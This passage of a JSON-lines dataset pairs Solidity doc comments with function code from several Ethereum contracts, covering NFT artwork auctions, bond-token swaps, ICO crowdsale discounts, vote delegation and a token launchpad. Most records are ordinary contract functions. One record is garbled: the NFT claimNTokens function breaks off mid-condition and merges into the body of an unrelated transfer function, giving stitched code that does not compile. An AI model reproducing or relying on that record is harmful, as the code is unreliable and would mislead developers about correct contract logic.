bStr.length; i++) {\r\n\t\t\t// Uppercase character...\r\n\t\t\tif ((bStr[i] >= 65) && (bStr[i] <= 90)) {\r\n\t\t\t\t// So we add 32 to make it lowercase\r\n\t\t\t\tbLower[i] = bytes1(int(bStr[i]) + 32);\r\n\t\t\t} else {\r\n\t\t\t\tbLower[i] = bStr[i];\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn string(bLower);\r\n\t}", "version": "0.4.21"} {"comment": "//creates a unique key from all variables", "function_code": "function _strConcat(string _a, string _b, string _c, string _separator) internal pure returns (string) {\r\n bytes memory _ba = bytes(_a);\r\n bytes memory _bb = bytes(_separator);\r\n bytes memory _bc = bytes(_b);\r\n bytes memory _bd = bytes(_separator);\r\n bytes memory _be = bytes(_c);\r\n string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);\r\n bytes memory babcde = bytes(abcde);\r\n uint k = 0;\r\n for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];\r\n for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];\r\n for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];\r\n for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];\r\n for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];\r\n return string(babcde);\r\n }", "version": "0.4.21"} {"comment": "/// title String Utils - String utility functions\n/// @author Piper Merriam - \n///https://github.com/pipermerriam/ethereum-string-utils", "function_code": "function _uintToBytes(uint v) private pure returns (bytes32 ret) {\r\n if (v == 0) {\r\n ret = \"0\";\r\n } else {\r\n while (v > 0) {\r\n ret = bytes32(uint(ret) / (2 ** 8));\r\n ret |= bytes32(((v % 10) + 48) * 2 ** (8 * 31));\r\n v /= 10;\r\n }\r\n }\r\n return ret;\r\n }", "version": "0.4.21"} {"comment": "/// @notice Grant another address the right to transfer a specific Artwork via\n/// transferFrom(). This is the preferred flow for transfering NFTs to contracts.\n/// @param _to The address to be granted transfer approval. Pass address(0) to\n/// clear all approvals.\n/// @param _tokenId The ID of the Artwork that can be transferred if this call succeeds.\n/// @dev Required for ERC-721 compliance.", "function_code": "function approve(\r\n address _to,\r\n uint256 _tokenId\r\n )\r\n external\r\n whenNotPaused\r\n {\r\n // Only an owner can grant transfer approval.\r\n require(_owns(msg.sender, _tokenId));\r\n\r\n // Register the approval (replacing any previous approval).\r\n _approve(_tokenId, _to);\r\n\r\n // Emit approval event.\r\n Approval(msg.sender, _to, _tokenId);\r\n }", "version": "0.4.21"} {"comment": "/// @notice Transfer a Artwork owned by another address, for which the calling address\n/// has previously been granted transfer approval by the owner.\n/// @param _from The address that owns the Artwork to be transfered.\n/// @param _to The address that should take ownership of the Artwork. Can be any address,\n/// including the caller.\n/// @param _tokenId The ID of the Artwork to be transferred.\n/// @dev Required for ERC-721 compliance.", "function_code": "function transferFrom(\r\n address _from,\r\n address _to,\r\n uint256 _tokenId\r\n )\r\n external\r\n whenNotPaused\r\n {\r\n // Safety check to prevent against an unexpected 0x0 default.\r\n require(_to != address(0));\r\n // Disallow transfers to this contract to prevent accidental misuse.\r\n // The contract should never own any artworks (except very briefly\r\n // after a artwork is created and before it goes on auction).\r\n require(_to != address(this));\r\n // Check for approval and valid ownership\r\n require(_approvedFor(msg.sender, _tokenId));\r\n require(_owns(_from, _tokenId));\r\n\r\n // Reassign ownership (also clears pending approvals and emits Transfer event).\r\n _transfer(_from, _to, _tokenId);\r\n }", "version": "0.4.21"} {"comment": "/// @notice Transfers a Artwork to another address. If transferring to a smart\n/// contract be VERY CAREFUL to ensure that it is aware of ERC-721 (or\n/// CryptoArtworks specifically) or your Artwork may be lost forever. Seriously.\n/// @param _to The address of the recipient, can be a user or contract.\n/// @param _tokenId The ID of the Artwork to transfer.\n/// @dev Required for ERC-721 compliance.", "function_code": "function transfer(address _to, uint256 _tokenId) external whenNotPaused {\r\n\r\n // Safety check to prevent against an unexpected 0x0 default.\r\n require(_to != address(0));\r\n\r\n // Disallow transfers to this contract to prevent accidental misuse.\r\n // The contract should never own any Artworks (except very briefly\r\n // after a artwork is created and before it goes on auction).\r\n require(_to != address(this));\r\n\r\n // Disallow transfers to the auction contracts to prevent accidental\r\n // misuse. Auction contracts should only take ownership of artworks\r\n // through the allow + transferFrom flow.\r\n require(_to != address(saleAuction));\r\n\r\n // You can only send your own artwork.\r\n require(_owns(msg.sender, _tokenId));\r\n\r\n // Reassign ownership, clear pending approvals, emit Transfer event.\r\n _transfer(msg.sender, _to, _tokenId);\r\n\r\n }", "version": "0.4.21"} {"comment": "/// @notice Returns a list of all Artwork IDs assigned to an address.\n/// @param _owner The owner whose Artworks we are interested in.\n/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly\n/// expensive (it walks the entire Artwork array looking for arts belonging to owner),\n/// but it also returns a dynamic array, which is only supported for web3 calls, and\n/// not contract-to-contract calls.", "function_code": "function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) {\r\n uint256 tokenCount = balanceOf(_owner);\r\n\r\n if (tokenCount == 0) {\r\n // Return an empty array\r\n return new uint256[](0);\r\n } else {\r\n uint256[] memory result = new uint256[](tokenCount);\r\n uint256 totalArts = totalSupply();\r\n uint256 resultIndex = 0;\r\n\r\n // We count on the fact that all arts have IDs starting at 1 and increasing\r\n // sequentially up to the totalArt count.\r\n uint256 artworkId;\r\n\r\n for (artworkId = 1; artworkId <= totalArts; artworkId++) {\r\n if (artworkIndexToOwner[artworkId] == _owner) {\r\n result[resultIndex] = artworkId;\r\n resultIndex++;\r\n }\r\n }\r\n\r\n return result;\r\n }\r\n }", "version": "0.4.21"} {"comment": "/// @dev Adapted from memcpy() by @arachnid (Nick Johnson )\n/// This method is licenced under the Apache License.\n/// Ref: https://github.com/Arachnid/solidity-stringutils/blob/2f6ca9accb48ae14c66f1437ec50ed19a0616f78/strings.sol", "function_code": "function _memcpy(uint _dest, uint _src, uint _len) private view {\r\n // Copy word-length chunks while possible\r\n for (; _len >= 32; _len -= 32) {\r\n assembly {\r\n mstore(_dest, mload(_src))\r\n }\r\n _dest += 32;\r\n _src += 32;\r\n }\r\n\r\n // Copy remaining bytes\r\n uint256 mask = 256 ** (32 - _len) - 1;\r\n assembly {\r\n let srcpart := and(mload(_src), not(mask))\r\n let destpart := and(mload(_dest), mask)\r\n mstore(_dest, or(destpart, srcpart))\r\n }\r\n }", "version": "0.4.21"} {"comment": "/// @dev Put a artwork up for auction.\n/// Does some ownership trickery to create auctions in one tx.", "function_code": "function createSaleAuction(\r\n uint256 _artworkId,\r\n uint256 _startingPrice,\r\n uint256 _endingPrice,\r\n uint256 _duration\r\n )\r\n external\r\n whenNotPaused\r\n {\r\n // Auction contract checks input sizes\r\n // If artwork is already on any auction, this will throw\r\n // because it will be owned by the auction contract.\r\n require(_owns(msg.sender, _artworkId));\r\n _approve(_artworkId, saleAuction);\r\n // Sale auction throws if inputs are invalid and clears\r\n // transfer and sire approval after escrowing the artwork.\r\n saleAuction.createAuction(\r\n _artworkId,\r\n _startingPrice,\r\n _endingPrice,\r\n _duration,\r\n msg.sender\r\n );\r\n }", "version": "0.4.21"} {"comment": "/// @dev we can create promo artworks, up to a limit. Only callable by COO\n/// @param _owner the future owner of the created artworks. Default to contract COO", "function_code": "function createPromoArtwork(string _name, string _author, uint32 _series, address _owner) external onlyCOO {\r\n bytes32 uniqueKey = getUniqueKey(_name, _author, _series);\r\n (require(!uniqueArtworks[uniqueKey]));\r\n if (_series != 0) {\r\n bytes32 uniqueKeyForZero = getUniqueKey(_name, _author, 0);\r\n (require(!uniqueArtworks[uniqueKeyForZero]));\r\n }\r\n address artworkOwner = _owner;\r\n if (artworkOwner == address(0)) {\r\n artworkOwner = cooAddress;\r\n }\r\n require(promoCreatedCount < PROMO_CREATION_LIMIT);\r\n\r\n promoCreatedCount++;\r\n _createArtwork(_name, _author, _series, artworkOwner);\r\n uniqueArtworks[uniqueKey] = true;\r\n }", "version": "0.4.21"} {"comment": "/// @dev Creates a new artwork with the given name and author and\n/// creates an auction for it.", "function_code": "function createArtworkAuction(string _name, string _author, uint32 _series) external onlyCOO {\r\n bytes32 uniqueKey = getUniqueKey(_name, _author, _series);\r\n (require(!uniqueArtworks[uniqueKey]));\r\n require(artsCreatedCount < CREATION_LIMIT);\r\n if (_series != 0) {\r\n bytes32 uniqueKeyForZero = getUniqueKey(_name, _author, 0);\r\n (require(!uniqueArtworks[uniqueKeyForZero]));\r\n }\r\n uint256 artworkId = _createArtwork(_name, _author, _series, address(this));\r\n _approve(artworkId, saleAuction);\r\n uint256 price = _computeNextArtworkPrice();\r\n saleAuction.createAuction(\r\n artworkId,\r\n price,\r\n 0,\r\n ARTWORK_AUCTION_DURATION,\r\n address(this)\r\n );\r\n artsCreatedCount++;\r\n uniqueArtworks[uniqueKey] = true;\r\n }", "version": "0.4.21"} {"comment": "/// @dev Computes the next gen0 auction starting price, given\n/// the average of the past 5 prices + 50%.", "function_code": "function _computeNextArtworkPrice() internal view returns (uint256) {\r\n uint256 avePrice = saleAuction.averageArtworkSalePrice();\r\n\r\n // Sanity check to ensure we don't overflow arithmetic\r\n require(avePrice == uint256(uint128(avePrice)));\r\n\r\n uint256 nextPrice = avePrice + (avePrice / 2);\r\n\r\n // We never auction for less than starting price\r\n if (nextPrice < ARTWORK_STARTING_PRICE) {\r\n nextPrice = ARTWORK_STARTING_PRICE;\r\n }\r\n\r\n return nextPrice;\r\n }", "version": "0.4.21"} {"comment": "/// @notice Creates the main CryptoArtworks smart contract instance.", "function_code": "function ArtworkCore() public {\r\n // Starts paused.\r\n paused = true;\r\n\r\n // the creator of the contract is the initial CEO\r\n ceoAddress = msg.sender;\r\n\r\n // the creator of the contract is also the initial COO\r\n cooAddress = msg.sender;\r\n\r\n // start with the art\r\n _createArtwork(\"none\", \"none\", 0, address(0));\r\n }", "version": "0.4.21"} {"comment": "/// @notice Returns all the relevant information about a specific artwork.\n/// @param _id The ID of the artwork of interest.", "function_code": "function getArtwork(uint256 _id)\r\n external\r\n view\r\n returns (\r\n uint256 birthTime,\r\n string name,\r\n string author,\r\n uint32 series\r\n ) {\r\n Artwork storage art = artworks[_id];\r\n birthTime = uint256(art.birthTime);\r\n name = string(art.name);\r\n author = string(art.author);\r\n series = uint32(art.series);\r\n }", "version": "0.4.21"} {"comment": "/**\r\n * @param solidBondID is a solid bond ID\r\n * @param SBTAmount is solid bond token amount\r\n * @return poolID is a pool ID\r\n * @return IDOLAmount is iDOL amount obtained\r\n */", "function_code": "function _swapSBT2IDOL(\r\n bytes32 solidBondID,\r\n address SBTAddress,\r\n uint256 SBTAmount\r\n ) internal returns (bytes32 poolID, uint256 IDOLAmount) {\r\n // 1. approve\r\n ERC20(SBTAddress).approve(address(_IDOLContract), SBTAmount);\r\n\r\n // 2. mint (SBT -> iDOL)\r\n (poolID, IDOLAmount, ) = _IDOLContract.mint(\r\n solidBondID,\r\n msg.sender,\r\n SBTAmount.toUint64()\r\n );\r\n\r\n emit LogIssueIDOL(solidBondID, msg.sender, poolID, IDOLAmount);\r\n return (poolID, IDOLAmount);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @notice swap (LBT -> iDOL)\r\n * @param LBTAddress is liquid bond token contract address\r\n * @param LBTAmount is liquid bond amount\r\n * @param timeout (uniswap)\r\n * @param isLimit (uniswap)\r\n */", "function_code": "function _swapLBT2IDOL(\r\n address LBTAddress,\r\n uint256 LBTAmount,\r\n uint256 timeout,\r\n bool isLimit\r\n ) internal isNotEmptyExchangeInstance {\r\n address _boxExchangeAddress = _exchangeLBTAndIDOLFactoryContract\r\n .addressToExchangeLookup(LBTAddress);\r\n // 1. approve\r\n ERC20(LBTAddress).approve(_boxExchangeAddress, LBTAmount);\r\n\r\n // 2. order(exchange)\r\n BoxExchangeInterface exchange = BoxExchangeInterface(\r\n _boxExchangeAddress\r\n );\r\n exchange.orderSettlementToBase(timeout, msg.sender, LBTAmount, isLimit);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @notice swap (SBT -> LBT)\r\n * @param solidBondID is a solid bond ID\r\n * @param liquidBondID is a liquid bond ID\r\n * @param timeout (uniswap)\r\n * @param isLimit (uniswap)\r\n */", "function_code": "function swapSBT2LBT(\r\n bytes32 solidBondID,\r\n bytes32 liquidBondID,\r\n uint256 SBTAmount,\r\n uint256 timeout,\r\n bool isLimit\r\n ) public override {\r\n (address SBTAddress, , , ) = _bondMakerContract.getBond(solidBondID);\r\n require(SBTAddress != address(0), \"the bond is not registered\");\r\n\r\n // uses: SBT\r\n _usesERC20(SBTAddress, SBTAmount);\r\n\r\n // 1. SBT -> LBT(exchange)\r\n _swapSBT2LBT(\r\n solidBondID,\r\n SBTAddress,\r\n liquidBondID,\r\n SBTAmount,\r\n timeout,\r\n isLimit\r\n );\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @notice find a solid bond in given bond group\r\n * @param bondGroupID is a bond group ID\r\n */", "function_code": "function _findSBTAndLBTBondGroup(uint256 bondGroupID)\r\n internal\r\n view\r\n returns (bytes32 solidBondID, bytes32[] memory liquidBondIDs)\r\n {\r\n (bytes32[] memory bondIDs, ) = _bondMakerContract.getBondGroup(\r\n bondGroupID\r\n );\r\n bytes32 solidID = bytes32(0);\r\n bytes32[] memory liquidIDs = new bytes32[](bondIDs.length - 1);\r\n uint256 j = 0;\r\n for (uint256 i = 0; i < bondIDs.length; i++) {\r\n (, , uint256 solidStrikePrice, ) = _bondMakerContract.getBond(\r\n bondIDs[i]\r\n );\r\n if (solidStrikePrice != 0) {\r\n // A solid bond is found.\r\n solidID = bondIDs[i];\r\n } else {\r\n liquidIDs[j++] = bondIDs[i];\r\n }\r\n }\r\n return (solidID, liquidIDs);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @notice ETH -> LBT & iDOL\r\n * @param bondGroupID is a bond group ID\r\n * @return poolID is a pool ID\r\n * @return IDOLAmount is iDOL amount obtained\r\n */", "function_code": "function issueLBTAndIDOL(uint256 bondGroupID)\r\n public\r\n override\r\n payable\r\n returns (\r\n bytes32,\r\n uint256,\r\n uint256\r\n )\r\n {\r\n (\r\n bytes32 solidBondID,\r\n bytes32[] memory liquidBondIDs\r\n ) = _findSBTAndLBTBondGroup(bondGroupID); // find SBT & LBT\r\n require(\r\n solidBondID != bytes32(0),\r\n \"solid bond is not found in given bond group\"\r\n );\r\n\r\n // 1. ETH -> SBT & LBTs\r\n uint256 bondAmount = _bondMakerContract.issueNewBonds{value: msg.value}(\r\n bondGroupID\r\n );\r\n\r\n // 2. SBT -> IDOL\r\n (address SBTAddress, , , ) = _bondMakerContract.getBond(solidBondID);\r\n (bytes32 poolID, uint256 IDOLAmount) = _swapSBT2IDOL(\r\n solidBondID,\r\n SBTAddress,\r\n bondAmount\r\n );\r\n\r\n // 3. IDOL reduction.\r\n //_reductionERC20(address(_IDOLContract), IDOLAmount);\r\n\r\n // 4. LBTs reduction.\r\n for (uint256 i = 0; i < liquidBondIDs.length; i++) {\r\n (address liquidAddress, , , ) = _bondMakerContract.getBond(\r\n liquidBondIDs[i]\r\n );\r\n _reductionERC20(liquidAddress, bondAmount);\r\n LogIssueLBT(liquidBondIDs[i], msg.sender, bondAmount);\r\n }\r\n return (poolID, bondAmount, IDOLAmount);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @notice ETH -> iDOL\r\n * @param bondGroupID is a bond group ID\r\n * @param timeout (uniswap)\r\n * @param isLimit (uniswap)\r\n */", "function_code": "function issueIDOLOnly(\r\n uint256 bondGroupID,\r\n uint256 timeout,\r\n bool isLimit\r\n ) public override payable {\r\n // 0. uses: ETH\r\n (\r\n bytes32 solidBondID,\r\n bytes32[] memory liquidBondIDs\r\n ) = _findSBTAndLBTBondGroup(bondGroupID); // find SBT & LBT\r\n require(\r\n solidBondID != bytes32(0),\r\n \"solid bond is not found in given bond group\"\r\n );\r\n\r\n // 1. ETH -> SBT & LBTs\r\n uint256 bondAmount = _bondMakerContract.issueNewBonds{value: msg.value}(\r\n bondGroupID\r\n );\r\n\r\n // 2. SBT -> IDOL\r\n (address SBTAddress, , , ) = _bondMakerContract.getBond(solidBondID);\r\n _swapSBT2IDOL(solidBondID, SBTAddress, bondAmount);\r\n\r\n // 3. IDOL reduction.\r\n //_reductionERC20(address(_IDOLContract), IDOLAmount);\r\n\r\n // 4. LBTs -> IDOL(+exchange)\r\n for (uint256 i = 0; i < liquidBondIDs.length; i++) {\r\n (address liquidAddress, , , ) = _bondMakerContract.getBond(\r\n liquidBondIDs[i]\r\n );\r\n // LBT -> IDOL(+exchange)\r\n _swapLBT2IDOL(liquidAddress, bondAmount, timeout, isLimit);\r\n }\r\n }", "version": "0.6.6"} {"comment": "/*\r\n * return 5 values - the canClaim returns the number of claimerContract token that can claim\r\n */", "function_code": "function triBalanceOf(address addr) view public returns (uint nwoBal,uint moriesBal,uint lossamosBal,uint moriesCanClaim,uint lossamosCanClaim){\r\n uint moriesBal = mories.balanceOf(addr);\r\n uint lossamosBal=lossamos.balanceOf(addr);\r\n\r\n\r\n uint tokenId;\r\n uint moriesCanClaim = 0;\r\n \r\n for(uint i = 0; i < moriesBal; i++) {\r\n tokenId = mories.tokenOfOwnerByIndex(addr, i);\r\n if (!_exists(tokenId)) {moriesCanClaim++;}\r\n }\r\n\r\n \r\n uint lossamosCanClaim = 0;\r\n \r\n for(uint i = 0; i < lossamosBal; i++) {\r\n tokenId = lossamos.tokenOfOwnerByIndex(addr, i);\r\n if (canLosSamosClaim(tokenId)>0) {lossamosCanClaim++;}\r\n }\r\n\r\n return (balanceOf(addr),moriesBal,lossamosBal,moriesCanClaim,lossamosCanClaim);\r\n }", "version": "0.7.3"} {"comment": "/**\r\n * Claim token for los samos owners \r\n */", "function_code": "function claimNTokens(uint[] memory tokenIds,ClaimerContract claimerContract, uint claimRatio,uint startIndex,uint maxSupply,uint firtsTokenId) public {\r\n \r\n require(claimIsActive, \"Claim must be active\");\r\n require(tokenIds.length>0, \"Must claim at least one token.\");\r\n require(totalSupply().add(tokenIds.length*claimRatio) <= MAX_TOKEN, \"Purchase would exceed max supply.\");\r\n \r\n for(uint i = 0; i < tokenIds.length; i++) {\r\n require(tokenIds[i]>=firtsTokenId,\"Requested TokenId is above lower bound\");\r\n require(tokenIds[i] = _value);\r\n // Check for overflows\r\n require(balanceOf[_to].add(_value) > balanceOf[_to]);\r\n // Save this for an assertion in the future\r\n uint previousBalances = balanceOf[_from].add(balanceOf[_to]);\r\n // Subtract from the sender\r\n balanceOf[_from] = balanceOf[_from].sub(_value);\r\n // Add the same to the recipient\r\n balanceOf[_to] = balanceOf[_to].add(_value);\r\n\r\n Transfer(_from, _to, _value);\r\n // Asserts are used to use static analysis to find bugs in your code. They should never fail\r\n assert(balanceOf[_from].add(balanceOf[_to]) == previousBalances);\r\n }", "version": "0.4.19"} {"comment": "/*\r\n * Make discount\r\n */", "function_code": "function countDiscount(uint256 amount) internal\r\n returns(uint256)\r\n {\r\n uint256 _amount = (amount.mul(DEC)).div(buyPrice);\r\n\r\n if (1 == stage) {\r\n _amount = _amount.add(withDiscount(_amount, ICO.discount));\r\n }\r\n else if (2 == stage)\r\n {\r\n if (now <= ICO.startDate + 1 days)\r\n {\r\n if (0 == ICO.discountFirstDayICO) {\r\n ICO.discountFirstDayICO = 20;\r\n }\r\n _amount = _amount.add(withDiscount(_amount, ICO.discountFirstDayICO));\r\n }\r\n else\r\n {\r\n _amount = _amount.add(withDiscount(_amount, ICO.discount));\r\n }\r\n }\r\n else if (3 == stage) {\r\n _amount = _amount.add(withDiscount(_amount, ICO.discount));\r\n }\r\n\r\n return _amount;\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * Expanding of the functionality\r\n *\r\n * @param _numerator - Numerator - value (10000)\r\n * @param _denominator - Denominator - value (10000)\r\n *\r\n * example: price 1000 tokens by 1 ether = changeRate(1, 1000)\r\n */", "function_code": "function changeRate(uint256 _numerator, uint256 _denominator) public onlyOwner\r\n returns (bool success)\r\n {\r\n if (_numerator == 0) _numerator = 1;\r\n if (_denominator == 0) _denominator = 1;\r\n\r\n buyPrice = (_numerator.mul(DEC)).div(_denominator);\r\n\r\n return true;\r\n }", "version": "0.4.19"} {"comment": "/*\r\n * Function show in contract what is now\r\n *\r\n */", "function_code": "function crowdSaleStatus() internal constant\r\n returns (string)\r\n {\r\n if (1 == stage) {\r\n return \"Pre-ICO\";\r\n } else if(2 == stage) {\r\n return \"ICO first stage\";\r\n } else if (3 == stage) {\r\n return \"ICO second stage\";\r\n } else if (4 >= stage) {\r\n return \"feature stage\";\r\n }\r\n\r\n return \"there is no stage at present\";\r\n }", "version": "0.4.19"} {"comment": "/*\r\n * Seles manager\r\n *\r\n */", "function_code": "function paymentManager(address sender, uint256 value) internal\r\n {\r\n uint256 discountValue = countDiscount(value);\r\n bool conf = confirmSell(discountValue);\r\n\r\n if (conf) {\r\n\r\n sell(sender, discountValue);\r\n\r\n weisRaised = weisRaised.add(value);\r\n\r\n if (now >= ICO.endDate) {\r\n pauseInternal();\r\n CrowdSaleFinished(crowdSaleStatus()); // if time is up\r\n }\r\n\r\n } else {\r\n\r\n sell(sender, ICO.tokens); // sell tokens which has been accessible\r\n\r\n weisRaised = weisRaised.add(value);\r\n\r\n pauseInternal();\r\n CrowdSaleFinished(crowdSaleStatus()); // if tokens sold\r\n }\r\n }", "version": "0.4.19"} {"comment": "/*\r\n * Function for start crowdsale (any)\r\n *\r\n * @param _tokens - How much tokens will have the crowdsale - amount humanlike value (10000)\r\n * @param _startDate - When crowdsale will be start - unix timestamp (1512231703 )\r\n * @param _endDate - When crowdsale will be end - humanlike value (7) same as 7 days\r\n * @param _discount - Discount for the crowd - humanlive value (7) same as 7 %\r\n * @param _discount - Discount for the crowds first day - humanlive value (7) same as 7 %\r\n */", "function_code": "function startCrowd(uint256 _tokens, uint _startDate, uint _endDate, uint8 _discount, uint8 _discountFirstDayICO) public onlyOwner\r\n {\r\n require(_tokens * DEC <= avaliableSupply); // require to set correct tokens value for crowd\r\n ICO = Ico (_tokens * DEC, _startDate, _startDate + _endDate * 1 days , _discount, _discountFirstDayICO);\r\n stage = stage.add(1);\r\n unpauseInternal();\r\n }", "version": "0.4.19"} {"comment": "// @notice Allow pre-approved user to take ownership of a token\n// @param _tokenId The ID of the Token that can be transferred if this call succeeds.", "function_code": "function takeOwnership(uint256 _tokenId) public {\r\n address newOwner = msg.sender;\r\n address oldOwner = tokenIndexToOwner[_tokenId];\r\n\r\n // Safety check to prevent against an unexpected 0x0 default.\r\n require(_addressNotNull(newOwner));\r\n\r\n // Making sure transfer is approved\r\n require(_approved(newOwner, _tokenId));\r\n\r\n _transfer(oldOwner, newOwner, _tokenId);\r\n }", "version": "0.4.18"} {"comment": "// @dev Creates a new promo Token with the given name, with given _price and assignes it to an address.", "function_code": "function createPromoToken(address _owner, string _name, uint256 _price) public onlyCOO {\r\n require(promoCreatedCount < PROMO_CREATION_LIMIT);\r\n\r\n address tokenOwner = _owner;\r\n if (tokenOwner == address(0)) {\r\n tokenOwner = cooAddress;\r\n }\r\n\r\n if (_price <= 0) {\r\n _price = startingPrice;\r\n }\r\n\r\n promoCreatedCount++;\r\n uint256 newTokenId = tokensContract.createToken(_name, tokenOwner);\r\n tokenIndexToPrice[newTokenId] = startingPrice;\r\n\r\n Birth(newTokenId, _name, _owner);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n Delegate votes from signatory to `delegatee`.\r\n \r\n @param delegatee The address to delegate votes to.\r\n @param nonce The contract state required for signature matching.\r\n @param expiry The time at which to expire the signature.\r\n @param v The recovery byte of the signature.\r\n @param r Half of the ECDSA signature pair.\r\n @param s Half of the ECDSA signature pair.\r\n */", "function_code": "function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external {\r\n bytes32 domainSeparator = keccak256(\r\n abi.encode(\r\n DOMAIN_TYPEHASH,\r\n keccak256(bytes(name())),\r\n getChainId(),\r\n address(this)));\r\n\r\n bytes32 structHash = keccak256(\r\n abi.encode(\r\n DELEGATION_TYPEHASH,\r\n delegatee,\r\n nonce,\r\n expiry));\r\n\r\n bytes32 digest = keccak256(\r\n abi.encodePacked(\r\n \"\\x19\\x01\",\r\n domainSeparator,\r\n structHash));\r\n\r\n address signatory = ecrecover(digest, v, r, s);\r\n require(signatory != address(0), \"Invalid signature.\");\r\n require(nonce == nonces[signatory]++, \"Invalid nonce.\");\r\n require(now <= expiry, \"Signature expired.\");\r\n return _delegate(signatory, delegatee);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n An internal function to actually perform the delegation of votes.\r\n \r\n @param delegator The address delegating to `delegatee`.\r\n @param delegatee The address receiving delegated votes.\r\n */", "function_code": "function _delegate(address delegator, address delegatee) internal {\r\n address currentDelegate = _delegates[delegator];\r\n uint256 delegatorBalance = balanceOf(delegator);\r\n _delegates[delegator] = delegatee;\r\n /* console.log('a-', currentDelegate, delegator, delegatee); */\r\n emit DelegateChanged(delegator, currentDelegate, delegatee);\r\n\r\n _moveDelegates(currentDelegate, delegatee, delegatorBalance);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n An internal function to move delegated vote amounts between addresses.\r\n \r\n @param srcRep the previous representative who received delegated votes.\r\n @param dstRep the new representative to receive these delegated votes.\r\n @param amount the amount of delegated votes to move between representatives.\r\n */", "function_code": "function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {\r\n if (srcRep != dstRep && amount > 0) {\r\n\r\n // Decrease the number of votes delegated to the previous representative.\r\n if (srcRep != address(0)) {\r\n uint32 srcRepNum = numCheckpoints[srcRep];\r\n uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;\r\n uint256 srcRepNew = srcRepOld.sub(amount);\r\n _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);\r\n }\r\n\r\n // Increase the number of votes delegated to the new representative.\r\n if (dstRep != address(0)) {\r\n uint32 dstRepNum = numCheckpoints[dstRep];\r\n uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;\r\n uint256 dstRepNew = dstRepOld.add(amount);\r\n _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n An internal function to write a checkpoint of modified vote amounts.\r\n This function is guaranteed to add at most one checkpoint per block.\r\n \r\n @param delegatee The address whose vote count is changed.\r\n @param nCheckpoints The number of checkpoints by address `delegatee`.\r\n @param oldVotes The prior vote count of address `delegatee`.\r\n @param newVotes The new vote count of address `delegatee`.\r\n */", "function_code": "function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal {\r\n uint32 blockNumber = safe32(block.number, \"Block number exceeds 32 bits.\");\r\n\r\n if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {\r\n checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;\r\n } else {\r\n checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);\r\n numCheckpoints[delegatee] = nCheckpoints + 1;\r\n }\r\n\r\n emit DelegateVotesChanged(delegatee, oldVotes, newVotes);\r\n }", "version": "0.6.12"} {"comment": "// Add a new launchpad project to the pool. Can only be called by the owner.", "function_code": "function add( IERC20 _launchToken,IERC20 _payToken, uint256 _timeStart, uint256 _timeEnd , uint256 _tokenAmount,uint256 _priceBasedPayToken,uint256 _maxPerAddress,\r\n uint256 _launchMaxPay, uint256 _releaseStart, uint256 _lockPeriod) public onlyGovernor {\r\n \r\n require( _timeStart > block.timestamp && _timeEnd > _timeStart, \"invalid time limit\");\r\n \r\n launchPadInfo.push(LaunchPadInfo({\r\n launchStatus : 0,\r\n launchToken : _launchToken,\r\n payToken : _payToken,\r\n timeStart : _timeStart,\r\n timeEnd : _timeEnd,\r\n tokenAmount : _tokenAmount,\r\n priceBasedPayToken : _priceBasedPayToken,\r\n maxPerAddress : _maxPerAddress,\r\n launchMaxPay : _launchMaxPay,\r\n releaseStart : _releaseStart,\r\n lockPeriod : _lockPeriod,\r\n totalAmount : 0\r\n }));\r\n \r\n }", "version": "0.8.4"} {"comment": "//user deposit to enter launchpad", "function_code": "function deposit(uint8 _pid, uint256 _amount) public {\r\n LaunchPadInfo storage pool = launchPadInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][ msg.sender ];\r\n\r\n require( pool.launchStatus == 1 , \"invalid status\");\r\n\r\n require( pool.timeEnd > block.timestamp, \"invalid time\");\r\n\r\n //deposit\r\n TransferHelper.safeTransferFrom( address(pool.payToken), msg.sender, address(this), _amount);\r\n user.paidAmount = user.paidAmount.add(_amount);\r\n\r\n pool.totalAmount = pool.totalAmount.add(_amount);\r\n emit Deposited( msg.sender, _pid, address(pool.payToken), _amount);\r\n }", "version": "0.8.4"} {"comment": "//claim release reward token", "function_code": "function claimReward(uint8 _pid) public {\r\n LaunchPadInfo storage pool = launchPadInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][ msg.sender ];\r\n\r\n if( user.lockedAmount > user.pickedAmount ){\r\n uint256 _pickedAmount = 0;\r\n\r\n if( block.timestamp > pool.releaseStart ){\r\n _pickedAmount = user.lockedAmount.mul(block.timestamp.sub(pool.releaseStart)).div(pool.lockPeriod);\r\n if( _pickedAmount > user.lockedAmount ){\r\n _pickedAmount = user.lockedAmount;\r\n }\r\n _pickedAmount = _pickedAmount.sub( user.pickedAmount );\r\n user.pickedAmount = user.pickedAmount.add(_pickedAmount);\r\n TransferHelper.safeTransfer( address(pool.launchToken), msg.sender , _pickedAmount );\r\n }\r\n }\r\n }", "version": "0.8.4"} {"comment": "//allow owner to transfer surplus", "function_code": 